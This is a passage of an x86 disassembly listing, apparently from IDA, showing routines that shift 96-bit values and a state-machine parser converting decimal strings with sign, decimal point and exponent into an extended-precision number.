		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E5E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E640	proc near		; CODE XREF: sub_42F370+382p
					; sub_431540+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E6B0	proc near		; CODE XREF: sub_42E7F0+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_42E6ED
; ---------------------------------------------------------------------------


loc_42E6DB:				; CODE XREF: sub_42E6B0+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_42E6ED:				; CODE XREF: sub_42E6B0+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_42E767
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42E5E0
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42E5E0
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_42E530
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42E5E0
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42E530
		add	esp, 8
		jmp	loc_42E6DB
; ---------------------------------------------------------------------------


loc_42E767:				; CODE XREF: sub_42E6B0+41j
					; sub_42E6B0+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42E7B3
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_42E767
; ---------------------------------------------------------------------------


loc_42E7B3:				; CODE XREF: sub_42E6B0+BEj
					; sub_42E6B0+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_42E7DC
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42E5E0
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_42E7B3
; ---------------------------------------------------------------------------


loc_42E7DC:				; CODE XREF: sub_42E6B0+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E7F0	proc near		; CODE XREF: sub_42B9B0+1Ap
					; .data:0042BA0Ap ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_42E869
; ---------------------------------------------------------------------------


loc_42E860:				; CODE XREF: sub_42E7F0:loc_42E895j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42E869:				; CODE XREF: sub_42E7F0+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42E895
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_42E895
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_42E895
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_42E897


loc_42E895:				; CODE XREF: sub_42E7F0+82j
					; sub_42E7F0+8Dj ...
		jmp	short loc_42E860
; ---------------------------------------------------------------------------


loc_42E897:				; CODE XREF: sub_42E7F0+A3j
					; sub_42E7F0:loc_42EFF3j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_42EFF8
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_42EFF3
		mov	ecx, [ebp+var_80]
		jmp	off_42F20A[ecx*4]


loc_42E8CC:				; DATA XREF: .data:off_42F20Ao
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42E8F0
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42E8F0
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42E965
; ---------------------------------------------------------------------------


loc_42E8F0:				; CODE XREF: sub_42E7F0+E3j
					; sub_42E7F0+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_447484
		cmp	edx, eax
		jnz	short loc_42E908
		mov	[ebp+var_4C], 5
		jmp	short loc_42E965
; ---------------------------------------------------------------------------


loc_42E908:				; CODE XREF: sub_42E7F0+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_42E937
		cmp	[ebp+var_84], 2Dh
		jz	short loc_42E946
		cmp	[ebp+var_84], 30h
		jz	short loc_42E92E
		jmp	short loc_42E955
; ---------------------------------------------------------------------------


loc_42E92E:				; CODE XREF: sub_42E7F0+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_42E965
; ---------------------------------------------------------------------------


loc_42E937:				; CODE XREF: sub_42E7F0+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_42E965
; ---------------------------------------------------------------------------


loc_42E946:				; CODE XREF: sub_42E7F0+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_42E965
; ---------------------------------------------------------------------------


loc_42E955:				; CODE XREF: sub_42E7F0+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42E965:				; CODE XREF: sub_42E7F0+FEj
					; sub_42E7F0+116j ...
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42E96A:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F20Eo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_42E998
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_42E998
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_42EA1B
; ---------------------------------------------------------------------------


loc_42E998:				; CODE XREF: sub_42E7F0+188j
					; sub_42E7F0+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_447484
		cmp	eax, ecx
		jnz	short loc_42E9B0
		mov	[ebp+var_4C], 4
		jmp	short loc_42EA1B
; ---------------------------------------------------------------------------


loc_42E9B0:				; CODE XREF: sub_42E7F0+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_42EA0B
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, byte_42F24A[edx]
		jmp	off_42F23A[ecx*4]


loc_42E9E7:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F23Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_42EA1B
; ---------------------------------------------------------------------------


loc_42E9F0:				; CODE XREF: sub_42E7F0+D5j
					; sub_42E7F0+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_42EA1B
; ---------------------------------------------------------------------------


loc_42E9F9:				; CODE XREF: sub_42E7F0+D5j
					; sub_42E7F0+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42EA1B
; ---------------------------------------------------------------------------


loc_42EA0B:				; CODE XREF: sub_42E7F0+D5j
					; sub_42E7F0+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42EA1B:				; CODE XREF: sub_42E7F0+1A3j
					; sub_42E7F0+1BEj ...
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EA20:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F212o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42EA44
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42EA44
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42EA86
; ---------------------------------------------------------------------------


loc_42EA44:				; CODE XREF: sub_42E7F0+237j
					; sub_42E7F0+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_447484
		cmp	edx, eax
		jnz	short loc_42EA5C
		mov	[ebp+var_4C], 5
		jmp	short loc_42EA86
; ---------------------------------------------------------------------------


loc_42EA5C:				; CODE XREF: sub_42E7F0+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_42EA70
		jmp	short loc_42EA79
; ---------------------------------------------------------------------------


loc_42EA70:				; CODE XREF: sub_42E7F0+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_42EA86
; ---------------------------------------------------------------------------


loc_42EA79:				; CODE XREF: sub_42E7F0+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_42EA86:				; CODE XREF: sub_42E7F0+252j
					; sub_42E7F0+26Aj ...
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EA8B:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F216o
		mov	[ebp+var_54], 1
		jmp	short loc_42EAA5
; ---------------------------------------------------------------------------


loc_42EA94:				; CODE XREF: sub_42E7F0:loc_42EB1Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42EAA5:				; CODE XREF: sub_42E7F0+2A2j
		cmp	dword_447480, 1
		jle	short loc_42EAC9
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_42EAE7
; ---------------------------------------------------------------------------


loc_42EAC9:				; CODE XREF: sub_42E7F0+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax


loc_42EAE7:				; CODE XREF: sub_42E7F0+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_42EB24
		cmp	[ebp+var_70], 19h
		jnb	short loc_42EB16
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42EB1F
; ---------------------------------------------------------------------------


loc_42EB16:				; CODE XREF: sub_42E7F0+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx


loc_42EB1F:				; CODE XREF: sub_42E7F0+324j
		jmp	loc_42EA94
; ---------------------------------------------------------------------------


loc_42EB24:				; CODE XREF: sub_42E7F0+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_447484
		cmp	eax, ecx
		jnz	short loc_42EB3C
		mov	[ebp+var_4C], 4
		jmp	short loc_42EB9E
; ---------------------------------------------------------------------------


loc_42EB3C:				; CODE XREF: sub_42E7F0+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_42EB8E
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, byte_42F291[edx]
		jmp	off_42F285[ecx*4]


loc_42EB73:				; DATA XREF: .data:0042F289o
		mov	[ebp+var_4C], 6
		jmp	short loc_42EB9E
; ---------------------------------------------------------------------------


loc_42EB7C:				; CODE XREF: sub_42E7F0+37Cj
					; DATA XREF: .data:off_42F285o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42EB9E
; ---------------------------------------------------------------------------


loc_42EB8E:				; CODE XREF: sub_42E7F0+36Cj
					; sub_42E7F0+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42EB9E:				; CODE XREF: sub_42E7F0+34Aj
					; sub_42E7F0+38Aj ...
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EBA3:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F21Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_42EBDE
		jmp	short loc_42EBCA
; ---------------------------------------------------------------------------


loc_42EBB9:				; CODE XREF: sub_42E7F0+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42EBCA:				; CODE XREF: sub_42E7F0+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_42EBDE
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42EBB9
; ---------------------------------------------------------------------------


loc_42EBDE:				; CODE XREF: sub_42E7F0+3C5j
					; sub_42E7F0+3E1j
		jmp	short loc_42EBF1
; ---------------------------------------------------------------------------


loc_42EBE0:				; CODE XREF: sub_42E7F0:loc_42EC69j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42EBF1:				; CODE XREF: sub_42E7F0:loc_42EBDEj
		cmp	dword_447480, 1
		jle	short loc_42EC16
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_42EC33
; ---------------------------------------------------------------------------


loc_42EC16:				; CODE XREF: sub_42E7F0+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx


loc_42EC33:				; CODE XREF: sub_42E7F0+424j
		cmp	[ebp+var_98], 0
		jz	short loc_42EC6E
		cmp	[ebp+var_70], 19h
		jnb	short loc_42EC69
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax


loc_42EC69:				; CODE XREF: sub_42E7F0+450j
		jmp	loc_42EBE0
; ---------------------------------------------------------------------------


loc_42EC6E:				; CODE XREF: sub_42E7F0+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_42ECC0
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, byte_42F2D8[ecx]
		jmp	off_42F2CC[eax*4]


loc_42ECA5:				; DATA XREF: .data:0042F2D0o
		mov	[ebp+var_4C], 6
		jmp	short loc_42ECD0
; ---------------------------------------------------------------------------


loc_42ECAE:				; CODE XREF: sub_42E7F0+4AEj
					; DATA XREF: .data:off_42F2CCo
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42ECD0
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: sub_42E7F0+49Ej
					; sub_42E7F0+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42ECD0:				; CODE XREF: sub_42E7F0+4BCj
					; sub_42E7F0+4CEj
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42ECD5:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F21Eo
		mov	[ebp+var_C], 1
		cmp	dword_447480, 1
		jle	short loc_42ED01
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_42ED1E
; ---------------------------------------------------------------------------


loc_42ED01:				; CODE XREF: sub_42E7F0+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx


loc_42ED1E:				; CODE XREF: sub_42E7F0+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_42ED39
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42ED46
; ---------------------------------------------------------------------------


loc_42ED39:				; CODE XREF: sub_42E7F0+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_42ED46:				; CODE XREF: sub_42E7F0+547j
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42ED4B:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F222o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42ED78
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42ED78
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42EDCD
; ---------------------------------------------------------------------------


loc_42ED78:				; CODE XREF: sub_42E7F0+56Bj
					; sub_42E7F0+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_42EDB7
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_42EDA7
		cmp	[ebp+var_A4], 30h
		jz	short loc_42ED9E
		jmp	short loc_42EDC0
; ---------------------------------------------------------------------------


loc_42ED9E:				; CODE XREF: sub_42E7F0+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_42EDCD
; ---------------------------------------------------------------------------


loc_42EDA7:				; CODE XREF: sub_42E7F0+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_42EDCD
; ---------------------------------------------------------------------------


loc_42EDB7:				; CODE XREF: sub_42E7F0+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_42EDCD
; ---------------------------------------------------------------------------


loc_42EDC0:				; CODE XREF: sub_42E7F0+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_42EDCD:				; CODE XREF: sub_42E7F0+586j
					; sub_42E7F0+5B5j ...
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EDD2:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F22Ao
		mov	[ebp+var_18], 1
		jmp	short loc_42EDEC
; ---------------------------------------------------------------------------


loc_42EDDB:				; CODE XREF: sub_42E7F0+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42EDEC:				; CODE XREF: sub_42E7F0+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_42EDF7
		jmp	short loc_42EDDB
; ---------------------------------------------------------------------------


loc_42EDF7:				; CODE XREF: sub_42E7F0+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42EE1B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42EE1B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42EE2B
; ---------------------------------------------------------------------------


loc_42EE1B:				; CODE XREF: sub_42E7F0+60Ej
					; sub_42E7F0+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42EE2B:				; CODE XREF: sub_42E7F0+629j
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EE30:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F226o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_42EE54
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_42EE54
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42EE7E
; ---------------------------------------------------------------------------


loc_42EE54:				; CODE XREF: sub_42E7F0+647j
					; sub_42E7F0+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_42EE68
		jmp	short loc_42EE71
; ---------------------------------------------------------------------------


loc_42EE68:				; CODE XREF: sub_42E7F0+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_42EE7E
; ---------------------------------------------------------------------------


loc_42EE71:				; CODE XREF: sub_42E7F0+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx


loc_42EE7E:				; CODE XREF: sub_42E7F0+662j
					; sub_42E7F0+67Fj
		jmp	loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EE83:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F22Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_42EEA4
; ---------------------------------------------------------------------------


loc_42EE93:				; CODE XREF: sub_42E7F0:loc_42EF12j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42EEA4:				; CODE XREF: sub_42E7F0+6A1j
		cmp	dword_447480, 1
		jle	short loc_42EEC9
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_42EEE6
; ---------------------------------------------------------------------------


loc_42EEC9:				; CODE XREF: sub_42E7F0+6BBj
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx


loc_42EEE6:				; CODE XREF: sub_42E7F0+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_42EF17
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_42EF12
		mov	[ebp+var_7C], 1451h
		jmp	short loc_42EF17
; ---------------------------------------------------------------------------


loc_42EF12:				; CODE XREF: sub_42E7F0+717j
		jmp	loc_42EE93
; ---------------------------------------------------------------------------


loc_42EF17:				; CODE XREF: sub_42E7F0+6FDj
					; sub_42E7F0+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_42EF30
; ---------------------------------------------------------------------------


